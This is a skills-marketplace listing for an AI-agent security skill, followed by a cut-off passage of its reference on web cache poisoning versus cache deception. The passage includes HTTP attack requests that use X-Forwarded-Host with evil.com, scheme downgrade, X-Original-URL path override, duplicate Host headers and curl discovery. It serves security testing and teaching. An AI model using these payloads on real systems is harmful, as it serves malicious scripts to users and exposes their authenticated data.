Web Cache Deception
Distinguish cache deception from cache poisoning and apply advanced unkeyed-input, CDN, and Vary-header techniques during web app security review.
Overview
Web Cache Deception is an agent skill for the Ship phase that documents advanced web cache poisoning and deception techniques for testing and fixing HTTP cache misconfigurations.
Install
npx skills add https://github.com/yaklang/hack-skills --skill web-cache-deceptionWhat is this skill?
- Explicit cache poisoning vs cache deception comparison table and attack-flow diagrams
- Unkeyed header and parameter poisoning techniques beyond basic path confusion
- Fat GET cache poisoning, parameter cloaking, and CDN-specific behavior notes
- Vary header attacks and detection signals (injected content vs auth data without auth)
- Companion advanced doc—load after main web-cache-deception SKILL.md fundamentals
- Side-by-side comparison covers 8 distinct aspects between poisoning and deception
- Documents separate attack flows for poisoning (attacker-triggered) vs deception (victim-triggered)
Adoption & trust: 1.1k installs on skills.sh; 980 GitHub stars; 2/3 security scanners passed (skills.sh audits).
Who is it for?
Solo builders running security review on cached web apps, BFF layers, or CDN-fronted APIs before launch.
Skip if: Greenfield apps with caching disabled end-to-end, or teams only needing high-level OWASP summaries without HTTP cache abuse depth.
When should I use this skill?
You need cache poisoning vs deception distinction, unkeyed techniques, Fat GET, parameter cloaking, CDN behavior, or Vary attacks after loading base cache deception fundamentals.
What do I get? / Deliverables
You classify the attack, choose the right repro technique, and know what signal proves deception versus poisoning in cached responses.
- Classified cache issue type
- Repro strategy aligned to CDN/cache key behavior
- Detection checklist for auth leakage via cache
Recommended Skills
Journey fit
How it compares
Use as a specialized AppSec reference layered on generic security checklists—not a substitute for dependency scanning or auth design.
Common Questions / FAQ
Who is web-cache-deception for?
Developers and indie security reviewers who test HTTP caches and need precise poisoning-versus-deception guidance beyond introductory material.
When should I use web-cache-deception?
During Ship security review when a CDN or reverse proxy caches dynamic routes, extension tricks, or unkeyed headers might affect authorization boundaries.
Is web-cache-deception safe to install?
It is educational offensive-security content; review the Security Audits panel on this page and only run techniques on systems you are authorized to test.
SKILL.md
READMESKILL.md - Web Cache Deception
# Web Cache Poisoning Techniques — Advanced Reference > **AI LOAD INSTRUCTION**: Load this when you need clear cache poisoning vs deception distinction, unkeyed header/parameter poisoning techniques, Fat GET cache poisoning, parameter cloaking, CDN-specific behavior, or Vary header attacks. Assumes the main [SKILL.md](./SKILL.md) is already loaded for cache deception fundamentals. --- ## 1. WEB CACHE POISONING vs WEB CACHE DECEPTION These are **distinct attack classes** — do not confuse them. | Aspect | Cache Poisoning | Cache Deception | |---|---|---| | **Goal** | Serve **malicious content** to all users | Steal **victim's authenticated data** | | **Who triggers** | Attacker sends poisoning request | Victim visits crafted URL | | **What gets cached** | Attacker-controlled response (XSS, redirect) | Victim's authenticated response | | **Who is harmed** | All users who hit the cache | The specific victim whose data is cached | | **Attacker's role** | Active (sends request with unkeyed poison) | Passive (waits for victim, then reads cache) | | **Key technique** | Unkeyed input manipulation | Path confusion / extension appending | | **Detection signal** | Response contains unexpected injected content | Authenticated content accessible without auth | ### Attack Flow Comparison ``` CACHE POISONING: Attacker → sends request with X-Forwarded-Host: evil.com → Cache stores response with evil.com references → Normal users get poisoned response CACHE DECEPTION: Attacker → tricks victim into visiting /profile/x.css → Server returns victim's profile data (ignores x.css) → Cache stores response (thinks it's static CSS) → Attacker fetches /profile/x.css → reads victim's data ``` --- ## 2. UNKEYED HEADER POISONING ### 2.1 Cache Key Basics The **cache key** is what the cache uses to determine if a stored response matches a request. Typically includes: - HTTP method - Host header - URL path - Query string (sometimes) **NOT typically included** (= unkeyed): - Most request headers - Cookies (sometimes) - Request body (for GET) If an unkeyed input is **reflected** in the response, it can be poisoned. ### 2.2 X-Forwarded-Host Poisoning The most common cache poisoning vector. ```http GET / HTTP/1.1 Host: target.com X-Forwarded-Host: evil.com HTTP/1.1 200 OK ... <script src="https://evil.com/static/app.js"></script> ``` If `X-Forwarded-Host` is not in the cache key but is reflected in the response → poison stores `evil.com` JavaScript for all users requesting `/`. **Common reflection points**: - `<script src="...">` and `<link href="...">` - Open Graph meta tags: `<meta property="og:url" content="...">` - Canonical links: `<link rel="canonical" href="...">` - Resource prefetch: `<link rel="dns-prefetch" href="...">` - Dynamic import maps ### 2.3 X-Forwarded-Scheme / X-Forwarded-Proto Forces HTTPS → HTTP downgrade in cached response: ```http GET / HTTP/1.1 Host: target.com X-Forwarded-Scheme: http HTTP/1.1 301 Moved Location: http://target.com/ ← now HTTP, not HTTPS ``` Cache stores a redirect to HTTP → MITM opportunity for all cached users. ### 2.4 X-Original-URL / X-Rewrite-URL Some frameworks (IIS/ASP.NET, Symfony) use these headers to override the request path: ```http GET / HTTP/1.1 Host: target.com X-Original-URL: /admin/delete-user?id=1 Cache key = GET / But server processes /admin/delete-user?id=1 Response gets cached under / ``` ### 2.5 Multiple Host Headers ```http GET / HTTP/1.1 Host: target.com Host: evil.com # Some caches key on first Host, some apps use last Host # If cache keys on target.com but app reflects evil.com → poisoned ``` ### 2.6 X-Forwarded-Port ```http GET / HTTP/1.1 Host: target.com X-Forwarded-Port: 1337 # If port is reflected in absolute URLs: # <a href="https://target.com:1337/path"> # May cause resource loading failures → DoS via cache poisoning ``` ### 2.7 Discovery Methodology ```bash # Step 1: Identify cache (check response headers) curl -v https://target.com/ 2>&